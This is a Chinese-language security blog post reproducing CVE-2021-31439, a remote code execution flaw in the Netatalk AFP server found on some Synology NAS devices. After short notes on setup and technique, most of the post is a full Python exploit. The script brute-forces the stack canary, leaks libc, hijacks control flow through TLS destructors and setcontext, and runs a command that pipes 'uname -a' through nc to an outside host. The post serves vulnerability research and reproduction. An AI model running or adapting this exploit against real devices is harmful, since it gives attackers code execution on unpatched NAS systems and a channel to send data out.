CVE-2021-31439

Catalpa 网络安全爱好者

2021 年 5 月 24 日,ZDI 发布了关于影响群晖某些型号设备的 RCE 漏洞 CVE-2021-31439,2022 年 3 月 28 日,DEVCORE 发布了对于此漏洞的分析文章,文中只介绍了此漏洞的成因和利用思路,在实际复现过程中还存在一些问题,本文对一些问题进行分析。

环境准备

受影响的组件是开源项目 Netatalk,该项目实现了苹果公司提出的 AFP 文件传输协议,并应用在很多 NAS 设备上,由于暂时没有目标设备,我在 ubuntu 16.04 虚拟机上编译安装了 Netatalk 3.1.12 模拟设备环境。

Netatalk 项目官网:https://netatalk.sourceforge.io/

注:如果使用 apt 安装,得到的 afpd 程序一般是开启了所有保护措施,不方便进行复现。

利用分析

详细的漏洞分析文章可在DEVCORE 技术博客找到,这里不再赘述,我们要解决一些博客中没提到的问题。

1. 协议实现

存在漏洞的程序实现了 AFP 文件传输协议,协议由苹果公司提出,它和 SMB 类似,不过在后续的发展过程中逐渐被抛弃了。

为了利用此漏洞,我们需要实现基本的 DSI 和 AFP 协议,以便于和服务器交互。网络上有一些 C 语言实现的 AFP 客户端,不过难以从其中剥离出有用的代码,我参考了 metasploit 中 AFP 信息扫描以及密码破解模块的实现,在 python 中简单实现了相关协议。

参考链接:https://github.com/rapid7/metasploit-framework/pull/216/files

https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/afp/afp_login.rb

2. 触发前提

在文章中提到漏洞是程序调用 dsi_stream_receive 函数读取 DSI 数据是出现问题,对应 DSI 中 command = 2 情况,需要注意的是直接发送相关数据并不能来到漏洞点,首先需要构造 DSI_OpenSession 包新建一个 Session。

3. 利用思路

文中笼统地指出利用思路为覆盖 _tls_dtor_list 指针,当程序调用 exit 时会来到 __call_tls_dtors 函数,在可控内存中构造好各个结构体即可劫持控制流进而实现 RCE。

在实际调试过程中存在一些需要注意的点,如在泄露出 canary 之后还要继续泄露到 libc 地址,否则覆盖 TLS 结构时会由于某些指针异常导致程序崩溃。

泄露 libc 地址时在某些特殊的内存布局情况下会导致泄露出来的地址有一些偏移,需要编写代码过滤这些情况。

清空 pointer_guard 后再调用某些功能会由于指针解密失败导致程序崩溃,所以我们要仔细编排布置 payload 的顺序,经过测试发现需要先布置 bss 结构,然后再布置 TLS 结构。

另外也是最重要的一点,文章中写到劫持控制流后可以通过调用 execl 来实现任意代码执行,但 execl 需要控制好各个参数。这里用到的思路是 CTF 中的 SROP,先劫持控制流到 setcontext 函数,调整好各个寄存器的值,再跳转到 IO_proc_open 函数中调用 execl 函数的位置。

调试好各个变量的偏移之后可以写出能够执行任意命令的 poc:

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
import struct
import socket
import time

R_HOST = "192.168.152.133"
R_PORT = 548

SUPPORT_VERSION = ["Netatalk3.1.12"]

DSI_CloseSession = 0x01
DSI_Common = 0x02
DSI_FPGetSrvrInfo = 0x03
DSI_OpenSession = 0x04

MAX_RECV_LENGTH = 4096
DSI_SERVQUANT_DEF = 0x100000

nl_global_locale_padding_offset = 0x102678
dtor_list_padding_offset = 0x1026b0
tls_padding_length = 0x1026f0 # padding to TLS
nl_global_locale_offset = 0x3c5420
username_address = 0x656190
username = ("iot".ljust(16, "\x00")).encode()
command = b"`uname -a | nc 192.168.152.129 31337`"


class DSI():
def __init__(self, dsi_flags, dsi_command, dsi_requestID, dsi_dataOffset, dsi_len, dsi_reserved):
self.dsi_flags = dsi_flags
self.dsi_command = dsi_command
self.dsi_requestID = dsi_requestID
self.dsi_dataOffset = dsi_dataOffset
self.dsi_len = dsi_len
self.dsi_reserved = dsi_reserved

self.header_length = 16

def _gen_packet(self, data=b""):
packet = b""
packet += struct.pack("!B", self.dsi_flags)
packet += struct.pack("!B", self.dsi_command)
packet += struct.pack("!H", self.dsi_requestID)
packet += struct.pack("!I", self.dsi_dataOffset)
packet += struct.pack("!I", self.dsi_len)
packet += struct.pack("!I", self.dsi_reserved)
packet += data
return packet

def _get_body_error_code(packet):
flags = packet[0]
command = packet[1]
request_id = packet[2:4]
error_code = struct.unpack(">I", packet[4:8])
length = struct.unpack(">I", packet[8:12])[0]
reserved = packet[12:16]

body = packet[16:length + 16]
if length != len(body):
print("[-] Invalid packet length")
exit(0)

return (error_code, body)

def simple_parse_srvInfo(data):
# https://github.com/rapid7/metasploit-framework/pull/216/files
error_code,body = _get_body_error_code(data)

machine_type_offset = struct.unpack(">H", body[0:2])[0]
version_count_offset = body[2:4]
uam_count_offset = body[4:6]
icon_offset = body[6:8]
flags = body[8:10]

server_name_length = body[10]
server_name = body[11:server_name_length + 11]
print("[+] Got server name: %s" % server_name.decode())

pos = 10 + server_name_length + 1
if pos % 2 != 0:
pos += 1 # padding

server_signature_offset = body[pos:pos + 2]
network_addresses_count_offset = body[pos + 2:pos + 4]
directory_names_count_offset = body[pos + 4:pos + 6]
utf8_server_name_offset = body[pos + 6:pos + 8]

machine_type_length = body[machine_type_offset]
machine_type = body[pos + 9:pos + machine_type_length + 9]
print("[+] Got machine type: %s" % machine_type.decode())
if machine_type.decode() not in SUPPORT_VERSION:
print("[-] Target not support.")
exit(0)
# continue parse seems not necessary
return

def simple_parse_openSession(data):
error_code,body = _get_body_error_code(data)
if error_code[0] != 0:
print("[-] OpenSession failed.")
exit(0)
# print("[+] OpenSession success")
return

def connect_open_session():
s = None
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((R_HOST, R_PORT))
except:
print("[-] Error connecting server")
exit(0)
# print("[*] OpenSession")
_open_session_packet = DSI(0x0, DSI_OpenSession, 0x0, 0x0, 0x0, 0x0)._gen_packet()
s.send(_open_session_packet)
simple_parse_openSession(s.recv(MAX_RECV_LENGTH))
return s

def _leak_one(sock, canary):
payload = b"a" * tls_padding_length + b"tcb__ptr" + b"dtv__ptr" + b"self_ptr" + b"mult" + b"scop" + b"_sysinfo"
payload += canary
payload_len = len(payload)
_packet = DSI(0x0, DSI_Common, 0x0, payload_len, 0x0, 0x0)._gen_packet() + payload
sock.send(_packet)
# time.sleep(1)
data = sock.recv(MAX_RECV_LENGTH)
if len(data) == 0:
return False
return True

def _leak(n, canary):
print("[*] ==== Byte%d ====" % n)
_succ = None
for i in range(1, 0x100):
# print("[*] Trying " + str(i))
try:
sock = connect_open_session()
_tmp = struct.pack("<Q", ((i << (n * 8)) | canary))[:n + 1]
if _leak_one(sock, _tmp):
canary = ((i << 8) | canary)
break
sock.close()
except:
time.sleep(0.1)
print("[+] Got byte%d: %d" % (n, i))
# if i == 0:
# print("[-] Error leaking canary. Try again")
# exit(0)
return i

def leak_canary():
canary = 0x0 # canary lowest byte == 0x00
print("[*] Leaking canary (stable)...")
canary |= (_leak(1, canary) << 8)
canary |= (_leak(2, canary) << 16)
canary |= (_leak(3, canary) << 24)
canary |= (_leak(4, canary) << 32)
canary |= (_leak(5, canary) << 40)
canary |= (_leak(6, canary) << 48)
canary |= (_leak(7, canary) << 56)
print("[+] Got canary: " + hex(canary))
return canary

def _leak_one2(sock, value):
payload = b"\x00" * nl_global_locale_padding_offset
payload += value
payload_len = len(payload)
_crash_packet = DSI(0x0, DSI_Common, 0x0, payload_len, 0x0, 0x0)._gen_packet() + payload
sock.sendall(_crash_packet)

_close_packet = DSI(0x0, DSI_CloseSession, 0x0, 0x0, 0x0, 0x0)._gen_packet()
sock.sendall(_close_packet)
sock.recv(MAX_RECV_LENGTH)
sock.send(b"aaaaaaaa")
sock.recv(MAX_RECV_LENGTH)


def _leak2(n, global_locale, _step=1):
print("[*] ==== Byte%d ====" % n)
vals = []
_succ = None
for i in range(0, 0x100, _step):
# print("[*] Trying " + str(i))
try:
sock = connect_open_session()
_tmp = struct.pack("<Q", (((i) << (n * 8)) | global_locale))[:n + 1]
if _step == 0x10:
_tmp = struct.pack("<Q", (((i + 4) << (n * 8)) | global_locale))[:n + 1]
# print(_tmp)
_leak_one2(sock, _tmp)
if _step == 0x10:
vals.append(i + 4)
else:
vals.append(i)
except:
time.sleep(0.1)
return vals

def leak_libc():
global_locale = 0
print("[*] Leaking libc (unstable)...")

byte0 = [0x20]
byte1 = []
byte2 = []
byte3 = []
byte4 = []
byte5 = [0x7f]

print("[!] Detect %d possible val(s) for byte0" % len(byte0))
for m_byte0 in byte0:
global_locale = global_locale | m_byte0
byte1 = _leak2(1, global_locale, 0x10)
if len(byte1) == 0:
print("[!] %d not right" % m_byte0)
continue
break

print(byte1)
if len(byte1) == 0:
print("[-] Error leaking libc address. Try again.")
exit(0)

if len(byte1) > 1:
print("[!] Warning: more than 1 value detected. The result maybe unreliable.")

print("[!] Detect %d possible val(s) for byte1" % len(byte1))
for m_byte1 in byte1:
global_locale = global_locale | (m_byte1 << 8)
byte2 = _leak2(2, global_locale)
if len(byte2) == 0:
print("[!] %d not right" % m_byte1)
global_locale &= (0x00 << 8)
continue
break

print(byte2)
if len(byte2) == 0:
print("[-] Error leaking libc address. Try again.")
exit(0)

if len(byte2) > 1:
print("[!] Warning: more than 1 value detected. The result maybe unreliable.")

print("[!] Detect %d possible val(s) for byte2" % len(byte2))
for m_byte2 in byte2:
global_locale = global_locale | (m_byte2 << 16)
byte3 = _leak2(3, global_locale)
if len(byte3) == 0:
print("[!] %d not right" % m_byte2)
global_locale &= (0x00 << 16)
continue
break

print(byte3)
if len(byte3) == 0:
print("[-] Error leaking libc address. Try again.")
exit(0)

if len(byte3) > 1:
print("[!] Warning: more than 1 value detected. The result maybe unreliable.")

print("[!] Detect %d possible val(s) for byte3" % len(byte3))
for m_byte3 in byte3:
global_locale = global_locale | (m_byte3 << 24)
byte4 = _leak2(4, global_locale)
if len(byte4) == 0:
print("[!] %d not right" % m_byte3)
global_locale &= (0x00 << 24)
continue
break

print(byte4)
if len(byte4) == 0:
print("[-] Error leaking libc address. Try again.")
exit(0)

if len(byte4) > 1:
print("[!] Warning: more than 1 value detected. The result maybe unreliable.")

print("[!] Detect %d possible val(s) for byte4" % len(byte4))
for m_byte4 in byte4:
global_locale = global_locale | (m_byte4 << 32)
byte5 = _leak2(5, global_locale)
if len(byte5) == 0:
print("[!] %d not right" % m_byte4)
global_locale &= (0x00 << 32)
continue
break

print(byte5)
if len(byte5) == 0:
print("[-] Error leaking libc address. Try again.")
exit(0)

if len(byte5) > 1:
print("[!] Warning: more than 1 value detected. The result maybe unreliable.")

global_locale |= (byte5[0] << 40)
libc_addr = global_locale - nl_global_locale_offset
print("[+] Got libc: " + hex(libc_addr))
return libc_addr

def ISHFTC(n, d, N):
return ((n << d) % (1 << N)) | (n >> (N - d))

if __name__ == "__main__":
print("[*] Connecting to %s:%d ..." % (R_HOST, R_PORT))
s = None
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((R_HOST, R_PORT))
except:
print("[-] Error connecting server")
exit(0)

print("[*] Fetching server info ...")
_get_srv_info_packet = DSI(0x0, DSI_FPGetSrvrInfo, 0x0101, 0x0, 0x0, 0x0)._gen_packet()
s.send(_get_srv_info_packet)
simple_parse_srvInfo(s.recv(MAX_RECV_LENGTH))
s.close()

print("")
canary = leak_canary()

print("")
time.sleep(3)
libc_addr = leak_libc()

s = connect_open_session()

print("[*] Deploy payload (stage 1)")

enc_system_address = ISHFTC(libc_addr + 0x0000000000453A0, 0x11, 64)
enc_execl_addr = ISHFTC(0x000000000408DA0, 0x11, 64)
enc_popen_addr = ISHFTC(libc_addr + 0x00000000006F610, 0x11, 64)
setcontext_addr = ISHFTC(libc_addr + 0x000000000047B97, 0x11, 64)

fake_dtor_list = struct.pack("<Q", setcontext_addr) + \
struct.pack("<Q", username_address) + \
struct.pack("<Q", 0x0) + \
struct.pack("<Q", 0x0)

gold = fake_dtor_list + struct.pack("<Q", setcontext_addr) + b"\x00" * 0x20 + struct.pack("<Q", 0x656240) + b"\x00" * (0x80 - 0x20 - 8) + struct.pack("<Q", libc_addr + 0x00000000006F5B6) + command

payload = b"\x12" + b"\x06\x41\x46\x50\x33\x2e\x33" + b"\x04\x44\x48\x58\x32" + struct.pack("<B", len(gold) + 0x10) + username + gold + b"\x00"
payload_len = len(payload)
_fplogin_packet = DSI(0x0, DSI_Common, 0x0, 0x0, payload_len, 0x0)._gen_packet() + payload
s.send(_fplogin_packet)
s.recv(MAX_RECV_LENGTH)

print("[*] Deploy payload (stage 2)")

payload = b"a" * nl_global_locale_padding_offset + struct.pack("<Q", libc_addr + nl_global_locale_offset) + struct.pack("<Q", libc_addr + 0x3c8a80) + struct.pack("<Q", 0xb) + struct.pack("<Q", libc_addr + 0x1767a0) + struct.pack("<Q", libc_addr + 0x176da0) + struct.pack("<Q", libc_addr + 0x1776a0) + b"a" * 8 + struct.pack("<Q", username_address) + struct.pack("<Q", libc_addr + 0x3c4b20) + b"\x00" * 48 + struct.pack("<Q", 0xc7a700 + libc_addr) + struct.pack("<Q", libc_addr + 0xc79010) + struct.pack("<Q", 0xc7a700 + libc_addr) + b"a" * 16 + struct.pack("<Q", canary) + b"\x00" * 8
payload_len = len(payload)
_test_packet = DSI(0x0, DSI_Common, 0x0, payload_len, 0x0, 0x0)._gen_packet() + payload
s.send(_test_packet)

_close_packet = DSI(0x0, DSI_CloseSession, 0x0, 0x0, 0x0, 0x0)._gen_packet()
s.send(_close_packet)
print("[+] Exploit finish.")
  • Title: CVE-2021-31439
  • Author: Catalpa
  • Created at : 2022-04-02 00:00:00
  • Updated at : 2024-10-17 08:46:26
  • Link: https://wzt.ac.cn/2022/04/02/CVE-2021-31439/
  • License: This work is licensed under CC BY-SA 4.0.
On this page
CVE-2021-31439